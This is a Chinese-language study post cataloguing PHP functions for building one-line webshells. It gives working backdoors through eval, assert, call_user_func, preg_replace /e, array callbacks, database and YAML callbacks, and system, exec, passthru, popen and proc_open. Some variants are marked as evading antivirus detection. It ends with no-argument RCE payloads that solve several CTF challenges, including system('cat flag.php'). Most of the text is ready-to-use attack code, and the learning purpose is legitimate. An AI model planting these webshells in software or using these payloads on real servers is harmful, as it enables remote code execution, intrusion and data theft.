本周任务,学习木马的执行函数。
根据查找到的资料,执行函数分为两类,代码执行函数和命令执行函数。
短路与&&,前者为真,才执行后边;前边为假,都不执行。
逻辑与&,无论前边真假,都执行。
短路或||,前者为真,后者不执行;前者为假,后者执行。
逻辑或|,无论前边真假,都执行。
代码执行
eval
1
| eval(string $code): mixed
|
该函数是将传入的字符串当做PHP代码执行,必须以分号结尾,不支持动态调用。
1 2
| <?php eval("echo '1';");
|
以上是正常使用,下面是作为一句话木马的使用。
1 2
| <?php eval($_POST['south']);
|
assert
1 2
| assert(mixed $assertion, string $description = ?): bool assert(mixed $assertion, Throwable $exception = ?): bool
|
第一个参数是将传入的字符串当做PHP代码执行,是用来判断表达式是否成立的,不需分号结尾,第二个参数可选,作为失败判断的回调信息打印。
assert_option()可以用来对assert()进行一些约束和控制。
PHP>=5.4.8时支持assert二参数调用,PHP7默认不执行代码。
1 2 3 4 5
| ASSERT_ACTIVE=1 // Assert函数的开关。 ASSERT_WARNING =1 // 当表达式为false时,是否要输出警告性的错误提示。 ASSERT_BAIL= 0 // 是否要中止运行。 ASSERT_QUIET_EVAL= 0 // 在执行表达式时是否关闭错误提示。 ASSERT_CALLBACK= (NULL) // 是否启动回调函数 user function to call on failed assertions
|
举例
以上是正常使用,下面是作为一句话木马的使用。
1 2
| <?php assert($_POST['south']);
|
拓展
在PHP7.1以下,assert()函数可以被动态调用,是大多数过狗一句话的原理。
1 2
| <?php $_POST['south']($_POST['sea']);
|
call_user_func
1
| call_user_func(callable $callback, mixed ...$args): mixed
|
第一个参数是回调函数的函数名,后面皆是回调函数的参数。
is_callable()函数可以检测是否为回调函数。
1 2
| <?php call_user_func('assert',$_POST['south']);
|
call_user_fuc_array
1
| call_user_func_array(callable $callback, array $args): mixed
|
同上,不过第二个参数传入的是数组。
1 2 3 4
| <?php $command[0] = $_POST['south']; call_user_func_array("assert", $command);
|
create_function
1
| create_function(string $args, string $code): string
|
创建一个匿名函数,第一个参数是匿名函数传入的参数名,第二个参数是匿名函数的代码。
易被查杀,PHP7不可用
1 2 3 4
| <?php $sea = create_function('$command', 'eval($command);'); $sea($_POST['south']);
|
拓展
题目如下。
1 2 3 4
| <?php $south = 'echo s' . $_POST['south'] . ';'; $sea = create_function('', $south);
|
正常情况下创建的函数如下。
1 2 3
| function sea() { echo 's' . $command; }
|
构造恶意代码提前闭合函数,构造好的函数如下。
1 2 3
| function sea() { echo 's';}phpinfo();
|
因此得以执行。
preg_replace
1 2 3 4 5 6 7
| preg_replace( string|array $pattern, string|array $replacement, string|array $subject, int $limit = -1, int &$count = null ): string|array|null
|
该函数为在$subject参数中匹配$pattern参数替换为$replacement,而其$pattern参数存在的/e修饰符会使得$replacement参数被当做PHP代码解析。
在PHP7中被修正。
1 2
| <?php preg_replace("/sea/e", $_POST['south'], "sea");
|
preg_filter
1 2 3 4 5 6 7
| preg_filter( string|array $pattern, string|array $replacement, string|array $subject, int $limit = -1, int &$count = null ): string|array|null
|
和preg_replace相似,不同之处是返回值。
三参数调用preg_replace需要注意版本号
1 2
| <?php echo preg_filter('|.*|e', $_REQUEST['south'], '');
|
preg_replace_callback
1 2 3 4 5 6 7 8
| preg_replace_callback( string|array $pattern, callable $callback, string|array $subject, int $limit = -1, int &$count = null, int $flags = 0 ): string|array|null
|
和preg_replace相似,不同之处是可以用回调函数代替$replacement。
1 2
| <?php preg_replace_callback('/.+/i', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['south']);
|
mb_ereg_replace
1 2 3 4 5 6
| mb_ereg_replace( string $pattern, string $replacement, string $string, ?string $options = null ): string|false|null
|
和preg_replace相似,不同之处是不用分隔符/。
三参数调用preg_replace需要注意版本号,PHP7被弃用。
1 2
| <?php mb_ereg_replace('.*', $_GET['south'], '', 'e');
|
mb_ereg_replace_callback
1 2 3 4 5 6
| mb_ereg_replace_callback( string $pattern, callable $callback, string $string, ?string $options = null ): string|false|null
|
和mb_ereg_replace相似,不同之处是可以用回调函数代替$replacement。
1
| <?php mb_ereg_replace_callback('.+', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['south']);
|
CallbackFilterIterator
1
| public CallbackFilterIterator::__construct(Iterator $iterator, callable $callback)
|
PHP>=5.4.0
1 2 3 4 5
| <?php $iterator = new CallbackFilterIterator(new ArrayIterator(array($_GET['south'],)), create_function('$sea', 'assert($sea);')); foreach ($iterator as $item) { echo $item; }
|
filter_var
1
| filter_var(mixed $value, int $filter = FILTER_DEFAULT, array|int $options = 0): mixed
|
PHP全版本支持assert单参数调用
1 2
| <?php filter_var($_GET['south'], FILTER_CALLBACK, array('options' => 'assert'));
|
filter_var_array
1
| filter_var_array(array $data, mixed $definition = ?, bool $add_empty = true): mixed
|
PHP全版本支持assert单参数调用
1 2
| <?php filter_var_array(array('sea' => $_GET['south']), array('sea' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));
|
array_map
1
| array_map(?callable $callback, array $array, array ...$arrays): array
|
类似于call_user_func,但后面传入的$array1是多组参数,而返回的是多组参数的执行结果。
容易被查杀
1 2
| <?php array_map($_GET['south'], $_GET['sea']);
|
array_filter
1
| array_filter(array $array, ?callable $callback = null, int $mode = 0): array
|
同上相似,但是需要注意的是第一个参数是回调函数的参数,第二个参数才是回调函数的函数名,且返回的结果是当回调函数返回true时的第一个参数的值的数组。
容易被查杀
1 2
| <?php array_filter($_GET['sea'], $_GET['south']);
|
array_walk
1
| array_walk(array|object &$array, callable $callback, mixed $arg = null): bool
|
三参数调用preg_replace需要注意版本号
1 2 3 4
| <?php $sea = array($_GET['sea'] => '|.*|e',); array_walk($sea, $_GET['south'], '');
|
array_walk_recursive
1
| array_walk_recursive(array|object &$array, callable $callback, mixed $arg = null): bool
|
第二个参数为回调函数名。
三参数调用preg_replace需要注意版本号
1 2 3 4
| <?php $sea = array($_GET['sea'] => '|.*|e',); array_walk_recursive($sea, $_GET['south'], '');
|
array_reduce
1
| array_reduce(array $array, callable $callback, mixed $initial = null): mixed
|
用回调函数迭代地将数组简化为单一的值。
PHP>=5.4.8时支持assert二参数调用
1 2
| <?php array_reduce(array(1), $_GET['south'], $_GET['sea']);
|
array_udiff
1
| array_udiff(array $array, array ...$arrays, callable $value_compare_func): array
|
用回调函数比较数据来计算数组的差集。
PHP>=5.4.8时支持assert二参数调用
1 2
| <?php array_udiff(array($_GET['sea']), array(1), $_GET['south']);
|
register_shutdown_function
1
| register_shutdown_function(callable $callback, mixed $parameter = ?, mixed $... = ?): void
|
注册一个会在php中止时执行的函数。
PHP全版本支持assert单参数调用
1 2
| <?php register_shutdown_function($_GET['south'], $_GET['sea']);
|
register_tick_function
1
| register_tick_function(callable $callback, mixed ...$args): bool
|
注册一个函数以便在每个tick上执行。
PHP全版本支持assert单参数调用
1 2 3 4
| <?php declare(ticks=1); register_tick_function($_GET['south'], $_GET['sea']);
|
usort
1
| usort(array &$array, callable $callback): bool
|
该函数的原本作用是使用用户自定义的比较函数对数组中的值进行排序,在PHP5.6下开始支持变长参数,因此在Shell的构造中可以这样。且只有数字索引数组才能作为变长参数数组。
PHP>=5.4.8时支持assert二参数调用
uasort
1
| uasort(array &$array, callable $callback): bool
|
PHP>=5.4.8时支持assert二参数调用
同上,不同之处是不会打乱原数组的顺序。
1 2
| <?php uasort(...$_GET);
|
uksort
1
| uksort(array &$array, callable $callback): bool
|
PHP>=5.4.8时支持assert二参数调用
1 2 3 4
| <?php $sea = array('sea' => 1, $_GET['sea'] => 2); uksort($sea, $_GET['south']);
|
扩展
1 2 3 4 5 6 7 8 9
| <?php $arr = new ArrayObject(array('sea', $_GET['south'])); $arr->uasort('assert');
$arr = new ArrayObject(array('sea' => 1, $_GET['south'] => 2)); $arr->uksort('assert');
|
sqliteCreateFunction
1 2 3 4 5 6
| public PDO::sqliteCreateFunction( string $function_name, callable $callback, int $num_args = -1, int $flags = 0 ): bool
|
利用数据库的回调函数。
PHP>=5.3
1 2 3 4 5 6
| <?php $db = new PDO('sqlite:sqlite.db3'); $db->sqliteCreateFunction('exp', $_GET['south'], 1); $stmt = $db->prepare("SELECT exp(:exec)"); $stmt->execute(array(':exec' => $_GET['sea']));
|
扩展
1 2 3 4 5 6 7
| <?php $db = new SQLite3('sqlite.db3'); $db->createFunction('exp', $_GET['south']); $stmt = $db->prepare("SELECT exp(?)"); $stmt->bindValue(1, $_GET['sea'], SQLITE3_TEXT); $stmt->execute();
|
PHP<5.3时使用sqlite_*方法。
1 2 3 4 5
| <?php $db = sqlite_open('sqlite.db3'); sqlite_create_function($db, 'exp', 'assert', 1); sqlite_array_query($db, "SELECT exp('{$_GET['south']}')");
|
yaml_parse
1 2 3 4 5 6
| yaml_parse( string $input, int $pos = 0, int &$ndocs = ?, array $callbacks = null ): mixed
|
需要额外的组件。
1 2 3 4 5 6
| <?php $str = urlencode($_GET['south']); $yaml = <<<EOD greeting: !{$str} "|.+|e" EOD; $parsed = yaml_parse($yaml, 0, $cnt, array("!{$_GET['south']}" => 'preg_replace'));
|
Memcache
1 2 3 4 5 6 7 8 9 10 11
| Memcache::addServer( string $host, int $port = 11211, bool $persistent = ?, int $weight = ?, int $timeout = ?, int $retry_interval = ?, bool $status = ?, callback $failure_callback = ?, int $timeoutms = ? ): bool
|
需要额外的组件。
1 2 3 4
| <?php $mem = new Memcache(); $re = $mem->addServer('localhost', 11211, TRUE, 100, 0, -1, TRUE, create_function('$a,$b,$c,$d,$e', 'return assert($a);')); $mem->connect($_GET['south'], 11211, 0);
|
命令执行
system
1
| system(string $command, int &$return_var = ?): string
|
有回显,有返回值,$return_var为状态码,执行成功为0,反之为1。
1 2
| <?php system($_GET['south']);
|
exec
1
| exec(string $command, array &$output = ?, int &$return_var = ?): string
|
无回显,有返回值,需手动获取,$output为执行结果,$return_var同上。
1 2 3 4 5
| <?php exec($_GET['south'], $output, $return_var); var_dump($output); var_dump($return_var);
|
shell_exec
1
| shell_exec(string $cmd): string
|
无回显,有返回值,需手动获取。
1 2 3 4
| <?php $res = shell_exec($_GET['south']); var_dump($res);
|
passthru
1
| passthru(string $command, int &$result_code = null): ?bool
|
有回显,无返回值。
1 2
| <?php passthru($_GET['south']);
|
反引号
无回显,有返回值。
1 2 3
| <?php $south = $_GET['south']; echo `$south`;
|
ob_start
1
| ob_start(callable $output_callback = null, int $chunk_size = 0, int $flags = PHP_OUTPUT_HANDLER_STDFLAGS): bool
|
$output_callback是在ob_flush(),ob_clean()时候才被调用的回调函数,若非调用函数则返回FALSE。$chunk_size为缓冲区大小,超出即刷新,0则最后调用,最大4096,$erase为FALSE的时候需要等脚本全部执行完毕才能刷新缓冲区,否则会抛出一个notice,并返回FALSE。
1 2 3 4
| <?php ob_start("system"); echo $_GET['south']; ob_end_flush();
|
popen
1
| popen(string $command, string $mode): resource|false
|
两个参数,一个是命令$command,另外一个是文件的连接模式$mode,r/w分别代表读写。
无执行结果回显,返回文件指针。
1 2
| <?php popen($_GET['south'], 'r' );
|
proc_open
1 2 3 4 5 6 7 8
| proc_open( mixed $cmd, array $descriptorspec, array &$pipes, string $cwd = null, array $env = null, array $other_options = null ): resource
|
PHP>= 4.3.0
类似popen,就是选项更多了。
1 2 3 4 5 6 7 8 9
| <?php $array = array( array("pipe", "r"), array("pipe", "w"), array("pipe", "w") );
$fp = proc_open($_GET['south'], $array, $pipes);
|
pcntl_exec
1
| pcntl_exec(string $path, array $args = ?, array $envs = ?): void
|
PHP>= 4.2.0,需要额外安装。
1 2
| <?php pcntl_exec($_GET['south'], $_GET['sea']);
|
例题
2018/CodeBreaking/phplimit
1 2 3 4 5 6
| <?php
show_source(__FILE__); if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { eval($_GET['code']); }
|
这一句的意思就是匹配无参函数,即phpinfo()可以通过,而system('ls')无法通过。
利用前面提到的无参函数来进行代码执行。
localeconv()返回的是包含本地数字及货币格式信息的数组,其中第一位的点可以拿来用。
1 2 3 4 5
| var_dump(localeconv()); var_dump(reset(localeconv())); var_dump(scandir(reset(localeconv()))); var_dump(end(scandir(reset(localeconv())))); var_dump(show_source(end(scandir(reset(localeconv())))));
|
直接读取文件有一些限制,也会很麻烦,因此可以通过获取额外的外部参数来执行代码。
比如:
get_defined_vars() - 返回由所有已定义变量所组成的数组
session_id() - 可以⽤来获取当前会话ID
1
| /?code=eval(end(current(get_defined_vars())));&a=phpinfo();
|
2019/GXYCTF/禁止套娃
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <?php
include "flag.php"; echo "flag在哪里呢?<br>"; if (isset($_GET['exp'])) { if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) { if (';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) { if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) { // echo $_GET['exp']; @eval($_GET['exp']); } else { die("还差一点哦!"); } } else { die("再好好想想!"); } } else { die("还想读flag,臭弟弟!"); } } highlight_file(__FILE__);
|
1. 需要传⼊⼀个get参数exp 如果满⾜条件就可以执⾏exp
2. preg_match过滤了php伪协议
3. preg_replace 的主要功能就是限制我们传输进来的必须时纯⼩写字⺟的函数,⽽且不能
携带参数。只能匹配通过⽆参数的函数。
4. 最后⼀个preg_match正则匹配掉了et/na/info等关键字,很多函数都⽤不了
**5. eval($_GET['exp']); 典型的⽆参数RCE**
1 2 3 4 5 6 7
| show_source(next(array_reverse(scandir(current(localeconv())))));
highlight_file(array_rand(array_flip(scandir(current(localeconv())))));
highlight_file(session_id(session_start())); Cookie: PHPSESSID=flag.php
|
2022/长安"战疫"/RCE_No_Para
1 2 3 4 5 6 7 8 9 10 11
| <?php if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { if (!preg_match('/session|end|next|header|dir/i', $_GET['code'])) { eval($_GET['code']); } else { die("Hacker!"); } } else { show_source(__FILE__); }
|
差不多的题,ban了一些函数。
1
| /?code=eval(array_rand(array_flip(current(array_values(get_defined_vars())))));&a=system(%27cat%20flag.php%27);
|
2023/仔细ping
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php highlight_file(__FILE__); $a = $_GET['a']; if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $a)) { if (!preg_match("/sess|ion|head|ers|file|na|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i",$a)){ eval($a); }else{ die("May be you should bypass."); } }else{ die("nonono"); } ?>
|
1 2
| /?a=eval(array_pop(next(get_defined_vars()))); 1=system('ls /');
|
Refer
创造tips的秘籍——PHP回调后门